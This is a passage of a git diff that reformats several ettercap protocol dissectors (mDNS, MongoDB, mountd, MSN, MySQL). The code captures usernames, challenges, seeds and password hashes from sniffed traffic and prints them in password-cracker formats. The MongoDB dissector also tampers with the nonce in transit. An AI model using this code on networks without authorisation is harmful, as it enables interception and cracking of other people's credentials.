it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector for multicast DNS + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -24,9 +24,9 @@ FUNC_DECODER(dissector_mdns); void mdns_init(void); -static void handle_ipv4_record(char* name, char* ptr); -static void handle_ipv6_record(char* name, char* ptr); -static void handle_srv_record(char* name, char* port_ptr, struct packet_object *po); +static void handle_ipv4_record(char *name, char *ptr); +static void handle_ipv6_record(char *name, char *ptr); +static void handle_srv_record(char *name, char *port_ptr, struct packet_object *po); static const char local_tcp[] = "._tcp.local"; static const char local_udp[] = "._udp.local"; @@ -40,145 +40,134 @@ void __init mdns_init(void) FUNC_DECODER(dissector_mdns) { - uint16_t questions = 0; - uint16_t records = 0; - unsigned char* start = NULL; - char name[NS_MAXDNAME]; - DECLARE_DISP_PTR_END(ptr, end); - - // unused param supression - (void)buf; - (void)buflen; - (void)len; - - // skip packets which are not useful - if (PACKET->DATA.len <= 12) - return NULL; - - PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - questions = ntohs(*((uint16_t*)ptr + 4)); - - hook_point(HOOK_PROTO_MDNS, PACKET); - - if (questions > 0) - { - //skip packets with questions for now. Makes parsing easier - return NULL; - } - - records += ntohs(*((uint16_t*)(ptr + 6))); - records += ntohs(*((uint16_t*)(ptr + 8))); - records += ntohs(*((uint16_t*)(ptr + 10))); - if (records == 0) - { - // there is nothing to parse - return NULL; - } - - if ((ptr + 12) >= end) - { - // not enough data - return NULL; - } - - // store the start for dns records pointers - start = ptr; - ptr += 12; - - // loop over all the records - for ( ; records > 0; --records) - { - uint16_t type = 0; - uint16_t length = 0; - uint16_t name_len = dn_expand(start, end, ptr, name, sizeof(name)); - - if ((ptr + name_len + 10) >= end) - { - return NULL; - } - - ptr += name_len; - - type = ntohs(*((uint16_t*)(ptr))); - length = ntohs(*((uint16_t*)(ptr + 8))); - - if ((ptr + 10 + length) >= end) - { - return NULL; - } - - ptr += 10; - - switch (type) - { - case ns_t_a: // A host IPv4 - handle_ipv4_record(name, (char*)ptr); - break; - case ns_t_aaaa: // AAAA (Host IPv6 Address) - handle_ipv6_record(name, (char*)ptr); - break; - case ns_t_srv: // Service - handle_srv_record(name, (char*)ptr + 4, PACKET); - break; - default: - //various other types should hit here: TXT, HINFO, etc. - break; - } - - // skip over the rest of the record - ptr += length; - } - - return NULL; + uint16_t questions = 0; + uint16_t records = 0; + unsigned char *start = NULL; + char name[NS_MAXDNAME]; + DECLARE_DISP_PTR_END(ptr, end); + + // unused param supression + (void)buf; + (void)buflen; + (void)len; + + // skip packets which are not useful + if (PACKET->DATA.len <= 12) + return NULL; + + PACKET->PASSIVE.flags |= FP_HOST_LOCAL; + questions = ntohs(*((uint16_t *)ptr + 4)); + + hook_point(HOOK_PROTO_MDNS, PACKET); + + if (questions > 0) { + // skip packets with questions for now. Makes parsing easier + return NULL; + } + + records += ntohs(*((uint16_t *)(ptr + 6))); + records += ntohs(*((uint16_t *)(ptr + 8))); + records += ntohs(*((uint16_t *)(ptr + 10))); + if (records == 0) { + // there is nothing to parse + return NULL; + } + + if ((ptr + 12) >= end) { + // not enough data + return NULL; + } + + // store the start for dns records pointers + start = ptr; + ptr += 12; + + // loop over all the records + for (; records > 0; --records) { + uint16_t type = 0; + uint16_t length = 0; + uint16_t name_len = dn_expand(start, end, ptr, name, sizeof(name)); + + if ((ptr + name_len + 10) >= end) { + return NULL; + } + + ptr += name_len; + + type = ntohs(*((uint16_t *)(ptr))); + length = ntohs(*((uint16_t *)(ptr + 8))); + + if ((ptr + 10 + length) >= end) { + return NULL; + } + + ptr += 10; + + switch (type) { + case ns_t_a: // A host IPv4 + handle_ipv4_record(name, (char *)ptr); + break; + case ns_t_aaaa: // AAAA (Host IPv6 Address) + handle_ipv6_record(name, (char *)ptr); + break; + case ns_t_srv: // Service + handle_srv_record(name, (char *)ptr + 4, PACKET); + break; + default: + // various other types should hit here: TXT, HINFO, etc. + break; + } + + // skip over the rest of the record + ptr += length; + } + + return NULL; } -static void handle_ipv4_record(char* name, char* ptr) +static void handle_ipv4_record(char *name, char *ptr) { - uint32_t addr; - struct ip_addr ip; - NS_GET32(addr, ptr); - addr = htonl(addr); - ip_addr_init(&ip, AF_INET, (u_char *)&addr); - - /* insert the answer in the resolv cache */ - resolv_cache_insert_passive(&ip, name); + uint32_t addr; + struct ip_addr ip; + NS_GET32(addr, ptr); + addr = htonl(addr); + ip_addr_init(&ip, AF_INET, (u_char *)&addr); + + /* insert the answer in the resolv cache */ + resolv_cache_insert_passive(&ip, name); } -static void handle_ipv6_record(char* name, char* ptr) +static void handle_ipv6_record(char *name, char *ptr) { - uint16_t addr[8]; - struct ip_addr ip; - int i = 0; + uint16_t addr[8]; + struct ip_addr ip; + int i = 0; - for (i=0; i<8; i++) { - NS_GET16(addr[i], ptr); - addr[i] = htons(addr[i]); - } + for (i = 0; i < 8; i++) { + NS_GET16(addr[i], ptr); + addr[i] = htons(addr[i]); + } - ip_addr_init(&ip, AF_INET6, (u_char *)&addr); + ip_addr_init(&ip, AF_INET6, (u_char *)&addr); - /* insert the answer in the resolv cache */ - resolv_cache_insert_passive(&ip, name); + /* insert the answer in the resolv cache */ + resolv_cache_insert_passive(&ip, name); } -static void handle_srv_record(char* name, char* port_ptr, struct packet_object *po) +static void handle_srv_record(char *name, char *port_ptr, struct packet_object *po) { - uint16_t port; - NS_GET16(port, port_ptr); - port = ntohs(port); - - if (strlen(name) > sizeof(local_tcp)) - { - int name_offset = strlen(name) - (sizeof(local_tcp) - 1); - if (strncmp(name + name_offset, local_tcp, sizeof(local_tcp) - 1) == 0) - { - PACKET->DISSECTOR.advertised_proto = NL_TYPE_TCP; - } - else if (strncmp(name + name_offset, local_udp, sizeof(local_udp) - 1) == 0) - { - PACKET->DISSECTOR.advertised_proto = NL_TYPE_UDP; - } - - PACKET->DISSECTOR.advertised_port = port; - } + uint16_t port; + NS_GET16(port, port_ptr); + port = ntohs(port); + + if (strlen(name) > sizeof(local_tcp)) { + int name_offset = strlen(name) - (sizeof(local_tcp) - 1); + if (strncmp(name + name_offset, local_tcp, sizeof(local_tcp) - 1) == 0) { + PACKET->DISSECTOR.advertised_proto = NL_TYPE_TCP; + } else if (strncmp(name + name_offset, local_udp, sizeof(local_udp) - 1) == 0) { + PACKET->DISSECTOR.advertised_proto = NL_TYPE_UDP; + } + + PACKET->DISSECTOR.advertised_port = port; + } } diff --git a/src/dissectors/ec_mongodb.c b/src/dissectors/ec_mongodb.c index dbb5c63ed..527e71eb6 100644 --- a/src/dissectors/ec_mongodb.c +++ b/src/dissectors/ec_mongodb.c @@ -1,25 +1,25 @@ /* - ettercap -- dissector for MongoDB authenctication protocol -- TCP 1521 - - Copyright (C) Dhiru Kholia (dhiru at openwall.com) - - Tested with MongoDB 2.2.1 on Arch Linux (November 2012) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License along - with this program; if not, write to the Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - -*/ + * ettercap -- dissector for MongoDB authenctication protocol -- TCP 1521 + * + * Copyright (C) Dhiru Kholia (dhiru at openwall.com) + * + * Tested with MongoDB 2.2.1 on Arch Linux (November 2012) + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * + */ #include #include @@ -62,11 +62,11 @@ FUNC_DECODER(dissector_mongodb) char tmp[MAX_ASCII_ADDR_LEN]; struct mongodb_status *conn_status; - //suppress unused warning + // suppress unused warning (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; if (FROM_SERVER("mongodb", PACKET)) { if (PACKET->DATA.len < 13) @@ -75,9 +75,9 @@ FUNC_DECODER(dissector_mongodb) dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mongodb)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { - unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); - unsigned char *gnoncep = memmem(ptr, PACKET->DATA.len, "getnonce\x00", 9); - unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "authenticate\x00", 12); + unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); + unsigned char *gnoncep = memmem(ptr, PACKET->DATA.len, "getnonce\x00", 9); + unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "authenticate\x00", 12); if (noncep && !gnoncep && !keyp) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mongodb)); @@ -85,13 +85,13 @@ FUNC_DECODER(dissector_mongodb) /* remember the state (used later) */ SAFE_CALLOC(s->data, 1, sizeof(struct mongodb_status)); - conn_status = (struct mongodb_status *) s->data; + conn_status = (struct mongodb_status *)s->data; conn_status->status = WAIT_RESPONSE; /* find and change nonce */ unsigned char *p = noncep; p += (5 + 1 + 4); /* skip over "nonce" + '\x00; + length */ - strncpy((char*)conn_status->salt, (char*)p, 16); + strncpy((char *)conn_status->salt, (char *)p, 16); conn_status->salt[16] = 0; #ifdef MITM memset(p, 0, 16); @@ -100,42 +100,40 @@ FUNC_DECODER(dissector_mongodb) /* save the session */ session_put(s); } - } - else { - if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct mongodb_status *) s->data; - if (PACKET->DATA.len < 16) - return NULL; - unsigned char *res = memmem(ptr, PACKET->DATA.len, "fails", 5); - unsigned char *gres = memmem(ptr, PACKET->DATA.len, "readOnly", 8); - if (conn_status->status == WAIT_RESULT && res) { - DISSECT_MSG("Login to %s-%d as %s failed!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username); - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); - } - else if (gres) { - DISSECT_MSG("Login to %s-%d as %s succeeded!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username) ; - dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); - } - } + } else { + if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { + conn_status = (struct mongodb_status *)s->data; + if (PACKET->DATA.len < 16) + return NULL; + unsigned char *res = memmem(ptr, PACKET->DATA.len, "fails", 5); + unsigned char *gres = memmem(ptr, PACKET->DATA.len, "readOnly", 8); + if (conn_status->status == WAIT_RESULT && res) { + DISSECT_MSG("Login to %s-%d as %s failed!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username); + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); + } else if (gres) { + DISSECT_MSG("Login to %s-%d as %s succeeded!\n", ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username); + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mongodb)); + } + } } } else { dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mongodb)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - conn_status = (struct mongodb_status *) s->data; + conn_status = (struct mongodb_status *)s->data; if (PACKET->DATA.len < 16) - return NULL; + return NULL; - unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); - unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "key\x00", 4); - unsigned char *usernamep = memmem(ptr, PACKET->DATA.len, "user\x00", 5); + unsigned char *noncep = memmem(ptr, PACKET->DATA.len, "nonce", 5); + unsigned char *keyp = memmem(ptr, PACKET->DATA.len, "key\x00", 4); + unsigned char *usernamep = memmem(ptr, PACKET->DATA.len, "user\x00", 5); if (conn_status->status == WAIT_RESPONSE && noncep && keyp) { usernamep += (4 + 1 + 4); /* skip over "user" + '\x00; + length */ - strncpy((char*)conn_status->username, (char*)usernamep, 128); + strncpy((char *)conn_status->username, (char *)usernamep, 128); conn_status->username[128] = 0; unsigned char key[33]; keyp += (3 + 1 + 4); /* skip over "key" + '\x00; + length */ - strncpy((char*)key, (char*)keyp, 32); + strncpy((char *)key, (char *)keyp, 32); key[32] = 0; DISSECT_MSG("%s-%s-%d:$mongodb$1$%s$%s$%s\n", conn_status->username, ip_addr_ntoa(&PACKET->L3.src, tmp), ntohs(PACKET->L4.src), conn_status->username, conn_status->salt, key); conn_status->status = WAIT_RESULT; diff --git a/src/dissectors/ec_mountd.c b/src/dissectors/ec_mountd.c index 65acd1162..8c8cbcc89 100644 --- a/src/dissectors/ec_mountd.c +++ b/src/dissectors/ec_mountd.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector mountd -- TCP 2049 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector mountd -- TCP 2049 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -59,21 +59,21 @@ FUNC_DECODER(dissector_mountd) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* skip packets which are not useful */ if (PACKET->DATA.len < 24) return NULL; - + DEBUG_MSG("mountd --> dissector_mountd"); /* Offsets differs from TCP to UDP (?) */ if (PACKET->L4.proto == NL_TYPE_TCP) ptr += 4; - xid = pntol(ptr); + xid = pntol(ptr); type = pntol(ptr + 4); /* CALL */ @@ -81,28 +81,28 @@ FUNC_DECODER(dissector_mountd) program = pntol(ptr + 12); version = pntol(ptr + 16); - proc = pntol(ptr + 20); + proc = pntol(ptr + 20); - if (type != 0 || program != 100005 || proc != 1 ) + if (type != 0 || program != 100005 || proc != 1) return NULL; - /* Take remote dir (with some checks) */ + /* Take remote dir (with some checks) */ cred = pntol(ptr + 28); if (cred > PACKET->DATA.len) return NULL; - flen = pntol(ptr + 40 + cred); + flen = pntol(ptr + 40 + cred); if (flen > 100) return NULL; - + dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mountd)); SAFE_CALLOC(s->data, 1, sizeof(mountd_session)); pe = (mountd_session *)s->data; pe->xid = xid; pe->ver = version; SAFE_CALLOC(pe->rem_dir, 1, flen + 1); - memcpy(pe->rem_dir, ptr + 44 + cred, flen); + memcpy(pe->rem_dir, ptr + 44 + cred, flen); session_put(s); - + return NULL; } @@ -119,13 +119,13 @@ FUNC_DECODER(dissector_mountd) PACKET->DISSECTOR.banner = strdup("mountd"); /* Unsuccess or not a reply */ - if (!pe || !(pe->rem_dir) || pe->xid != xid || pntol(ptr + 24) != 0 || type != 1) + if (!pe || !(pe->rem_dir) || pe->xid != xid || pntol(ptr + 24) != 0 || type != 1) return NULL; /* Take the handle */ if (pe->ver == 3) { flen = pntol(ptr + 28); - if (flen > 64) + if (flen > 64) flen = 64; offs = 32; } else { @@ -134,14 +134,14 @@ FUNC_DECODER(dissector_mountd) } DISSECT_MSG("mountd : Server:%s Handle %s: [ ", - ip_addr_ntoa(&PACKET->L3.src, tmp), pe->rem_dir); + ip_addr_ntoa(&PACKET->L3.src, tmp), pe->rem_dir); - for (i=0; i (flen*3)+10) + for (i = 0; i < flen; i++) { + if ((i * 3) + 1 > (flen * 3) + 10) break; DISSECT_MSG("%02x ", ptr[i + offs]); } - + DISSECT_MSG("]\n"); SAFE_FREE(pe->rem_dir); @@ -149,8 +149,6 @@ FUNC_DECODER(dissector_mountd) return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_msn.c b/src/dissectors/ec_msn.c index 67208922a..a28c5b4cd 100644 --- a/src/dissectors/ec_msn.c +++ b/src/dissectors/ec_msn.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector MSN -- TCP 1863 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector MSN -- TCP 1863 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -53,16 +53,16 @@ FUNC_DECODER(dissector_msn) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("MSN --> TCP dissector_msn"); - + /* message coming from the client */ if (FROM_CLIENT("msn", PACKET)) { @@ -71,52 +71,52 @@ FUNC_DECODER(dissector_msn) dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { - + /* search the login */ - ptr = (u_char*)strstr((const char*)ptr, "MD5 I "); - + ptr = (u_char *)strstr((const char *)ptr, "MD5 I "); + /* not found */ if (ptr == NULL) goto bad; - + DEBUG_MSG("\tDissector_msn - LOGIN "); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_msn)); - + /* save the login */ - s->data = strdup((const char*)ptr + strlen("MD5 I ")); - + s->data = strdup((const char *)ptr + strlen("MD5 I ")); + /* tuncate at the \r */ - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; session_put(s); } else { - - /* THIRD STEP: the client sends the MD5 password */ - + + /* THIRD STEP: the client sends the MD5 password */ + dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - + /* search the login */ - ptr = (u_char*)strstr((const char*)ptr, "MD5 S "); - + ptr = (u_char *)strstr((const char *)ptr, "MD5 S "); + /* not found */ if (ptr == NULL) goto bad; - + DEBUG_MSG("\tDissector_msn - PASS "); - + /* save the challenge after the login */ - SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char*)ptr) + 2); - snprintf(s->data + strlen(s->data), strlen(s->data) + strlen((const char*)ptr)+2, " %s", ptr + strlen("MD5 S ")); - + SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char *)ptr) + 2); + snprintf(s->data + strlen(s->data), strlen(s->data) + strlen((const char *)ptr) + 2, " %s", ptr + strlen("MD5 S ")); + /* tuncate at the \r */ - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; - + /* save the proper value (splitting the string) * it contains: * "user challenge password" @@ -130,54 +130,50 @@ FUNC_DECODER(dissector_msn) /* display the message */ DISSECT_MSG("MSN : %s:%d -> USER: %s MD5 PASS: %s CHALLENGE: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass, - PACKET->DISSECTOR.info); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass, + PACKET->DISSECTOR.info); } - } + } } /* wipe the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_msn)); } } - } else { /* the message is from the server */ - + /* SECOND STEP: the server sends the challenge */ - + dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_msn)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - + /* search the login */ - ptr = (u_char*)strstr((const char*)ptr, "MD5 S "); - + ptr = (u_char *)strstr((const char *)ptr, "MD5 S "); + /* not found */ if (ptr == NULL) goto bad; - + DEBUG_MSG("\tDissector_msn - CHALLENGE "); - + /* save the challenge after the login */ - SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char*)ptr) + 2); - snprintf(s->data + strlen(s->data), strlen(s->data)+strlen((const char*)ptr)+2, " %s", ptr + strlen("MD5 S ")); - + SAFE_REALLOC(s->data, strlen(s->data) + strlen((const char *)ptr) + 2); + snprintf(s->data + strlen(s->data), strlen(s->data) + strlen((const char *)ptr) + 2, " %s", ptr + strlen("MD5 S ")); + /* tuncate at the \r */ - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; - } } - + bad: SAFE_FREE(ident); return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_mysql.c b/src/dissectors/ec_mysql.c index edeb97dc3..4c5aec90e 100644 --- a/src/dissectors/ec_mysql.c +++ b/src/dissectors/ec_mysql.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector MySQL -- TCP 3306 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector MySQL -- TCP 3306 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -43,24 +43,24 @@ void __init mysql_init(void) #ifdef DEBUG /* XXX - not used??? -static void print_hex(unsigned char *str, int len) -{ - int i; - for (i = 0; i < len; ++i) - printf("%02x", str[i]); - printf("\n"); -} -*/ + * static void print_hex(unsigned char *str, int len) + * { + * int i; + * for (i = 0; i < len; ++i) + * printf("%02x", str[i]); + * printf("\n"); + * } + */ #endif -static char itoa16[16] = "0123456789abcdef"; +static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { - out[0] = itoa16[str[i]>>4]; - out[1] = itoa16[str[i]&0xF]; + out[0] = itoa16[str[i] >> 4]; + out[1] = itoa16[str[i] & 0xF]; out += 2; } } @@ -77,14 +77,14 @@ FUNC_DECODER(dissector_mysql) int has_password = 0; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* Skip ACK packets */ if (PACKET->DATA.len == 0) return NULL; - + dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mysql)); /* Packets coming from the server */ @@ -107,15 +107,14 @@ FUNC_DECODER(dissector_mysql) /* check Packet Length + Packet Number + Protocol */ DEBUG_MSG("\tdissector_mysql BANNER"); PACKET->DISSECTOR.banner = strdup("MySQL v5.xx.xx"); - } - else { + } else { SAFE_FREE(ident); return NULL; } - if(old_mysql) { + if (old_mysql) { /* Search for 000 padding */ - while( (ptr + index) < end && ((ptr[index] != 0) && (ptr[index - 1] != 0) && (ptr[index - 2] != 0)) ) + while ((ptr + index) < end && ((ptr[index] != 0) && (ptr[index - 1] != 0) && (ptr[index - 2] != 0))) index++; } @@ -123,43 +122,42 @@ FUNC_DECODER(dissector_mysql) dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mysql)); s->flag = 0; - if(old_mysql) { + if (old_mysql) { /* Save the seed */ - s->data = strdup((const char*)ptr + index + 1); + s->data = strdup((const char *)ptr + index + 1); s->flag = 1; - } - else { + } else { int length; unsigned char seed[20]; ptr += 5; /* skip over Packet Length + Packet Number + protocol_version*/ - length = strlen((const char*)ptr); - ptr += (length + 1 + 4); /* skip over Version + Thread ID */ + length = strlen((const char *)ptr); + ptr += (length + 1 + 4); /* skip over Version + Thread ID */ s->data = malloc(41); - if (s->data == NULL) { /* oops, couldn't get memory */ + if (s->data == NULL) { /* oops, couldn't get memory */ DEBUG_MSG("\tUnable to allocate memory in Dissector..."); return NULL; - } + } memcpy(seed, ptr, 8); ptr += (8 + 1 + 2 + 1 + 2 + 13); memcpy(seed + 8, ptr, 12); hex_encode(seed, 20, output); output[40] = 0; - memcpy(s->data, output ,41); + memcpy(s->data, output, 41); } /* save the session */ session_put(s); - } + } } else { /* Packets coming from the client */ /* Only if we catched the connection from the beginning */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - if(!s->flag) { + if (!s->flag) { DEBUG_MSG("\tDissector_mysq DUMP ENCRYPTED"); /* Reach and save the username */ ptr += 36; - PACKET->DISSECTOR.user = strdup((const char*)ptr); + PACKET->DISSECTOR.user = strdup((const char *)ptr); /* Reach the encrypted password */ ptr += (strlen(PACKET->DISSECTOR.user) + 1 + 1); - if(ptr < end) { + if (ptr < end) { memcpy(input, ptr, 20); hex_encode(input, 20, output); output[40] = 0; @@ -167,43 +165,41 @@ FUNC_DECODER(dissector_mysql) int length = strlen(s->data) + 256; SAFE_CALLOC(PACKET->DISSECTOR.pass, length, sizeof(char)); snprintf(PACKET->DISSECTOR.pass, length, "Seed:%s Encrypted:%s", (char *)s->data, output); - } - else { + } else { PACKET->DISSECTOR.pass = strdup("No Password!!!"); } DISSECT_MSG("MYSQL : %s:%d -> USER:%s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); - if(has_password) { + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); + if (has_password) { /* output format for JtR */ DISSECT_MSG("%s*%d*%s:$mysqlna$%s*%s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - (char*)s->data, output); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + (char *)s->data, output); } dissect_wipe_session(PACKET, DISSECT_CODE(dissector_mysql)); - } - else { + } else { DEBUG_MSG("\tDissector_mysql DUMP ENCRYPTED"); /* Reach the username */ ptr += 9; 